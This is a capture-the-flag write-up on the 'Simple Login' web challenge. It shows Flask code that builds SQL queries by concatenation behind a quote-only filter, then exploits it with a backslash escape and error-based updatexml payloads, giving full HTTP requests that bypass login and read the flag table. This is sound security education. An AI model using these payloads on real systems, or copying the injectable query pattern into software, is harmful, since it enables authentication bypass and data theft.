siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Simple Login

Table of Contents

Overview

Background

A simple login service :)

Enumeration

Index page:

When we go to /, it redirected us to /login, which means we’ll need to login first.

Let’s try some random credentials, such as admin:admin:

Burp Suite HTTP history:

When we clicked the “Login” button, it’ll send a POST request to /login with parameter username and password.

As expected, since the random credential that we just submitted is incorrect, it responded to us with “No user”.

Hmm… Because this kind of request usually done with a database. Let’s try some SQL injection payloads, like ' OR 1=1-- -:

This time it responded with “Do not try SQL injection”. Looks like the web application is filtering out SQL injection payload! To figure what does the filter do, we can view this web application’s source code.

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-2-(Web)/Simple-Login)-[2024.09.01|17:05:36(HKT)]
└> file simple-login.tar.gz 
simple-login.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 20480
┌[siunam♥Mercury]-(~/ctf/AlpacaHack-Round-2-(Web)/Simple-Login)-[2024.09.01|17:05:38(HKT)]
└> tar xvzf simple-login.tar.gz 
simple-login/
simple-login/db/
simple-login/db/init.sql
simple-login/compose.yaml
simple-login/web/
simple-login/web/app.py
simple-login/web/templates/
simple-login/web/templates/index.html
simple-login/web/templates/login.html
simple-login/web/Dockerfile
simple-login/web/requirements.txt

After reading the source code a little, we can have the following findings:

  1. This web application is written in Python with Flask web application framework
  2. This web application uses a DBMS (Database Management System) called MySQL, and it uses PyMySQL for the client connection

Let’s deep dive into those logics!

First off, what’s our objective? Where’s the flag?

In simple-login/db/init.sql, we can see that the flag is inserted into table flag:

USE chall;

DROP TABLE IF EXISTS flag;
CREATE TABLE IF NOT EXISTS flag (
    value VARCHAR(128) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

-- On the remote server, a real flag is inserted.
INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}');
[...]

So, our goal is this challenge is to somehow exfiltrate table flag’s record.

Now let’s go to simple-login/web/app.py. In there, it has 2 routes. However, only 1 of them are really interesting to us, which is POST route /login:

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username is None or password is None:
            return "Missing required parameters", 400
        if len(username) > 64 or len(password) > 64:
            return "Too long parameters", 400
        if "'" in username or "'" in password:
            return "Do not try SQL injection 🤗", 400

        conn = None
        try:
            conn = db()
            with conn.cursor() as cursor:
                cursor.execute(
                    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
                )
                user = cursor.fetchone()
        [...]
    else:
        [...]

Right off the bat, we can see there’s a SQL injection vulnerability, as this route directly concatenates our POST parameter username and password value into the raw SQL query.

However, this SQL injection vulnerability is not that straight forward to be exploited, as it has this filter:

@app.route("/login", methods=["GET", "POST"])
def login():
    [...]
    if "'" in username or "'" in password:
        return "Do not try SQL injection 🤗", 400

As you can see, if our parameter’s value contains single quote (') character, it’ll not execute the raw SQL query.

Exploitation

Can we bypass this filter? Well, yes!

To do so, we can use a backslash character (\) in the username parameter to escape the string, and then we can inject our SQL injection payload into the password parameter!

Original SQL query:

SELECT * FROM users WHERE username = '{username}' AND password = '{password}'

Our payload:

SELECT * FROM users WHERE username = '\' AND password = ' OR 1=1-- -'

Nice! Let’s test this!

POST /login HTTP/1.1
Host: 34.170.146.252:41670
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

username=\&password=+OR+1%3d1--+-

We now successfully bypassed the authenticated via SQL injection!

But wait, the flag is in the table flag

To exfiltrate the flag record, we can use an error-based SQL injection payload, such as the following:

POST /login HTTP/1.1
Host: 34.170.146.252:41670
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

username=\&password=+and+updatexml(null,concat(0x0a,version()),null)-- -

Note: The above payload is from PayloadsAllTheThings.

POST /login HTTP/1.1
Host: 34.170.146.252:41670
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

username=\&password=+and+updatexml(null,concat(0x0a,(select+*+from+flag)),null)--+-

Although the output is truncated, we can try to remove the new line character (0x0a) in the concat function:

POST /login HTTP/1.1
Host: 34.170.146.252:41670
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

username=\&password=+and+updatexml(null,concat((select+*+from+flag)),null)--+-

Conclusion

What we’ve learned:

  1. SQL injection without single quotes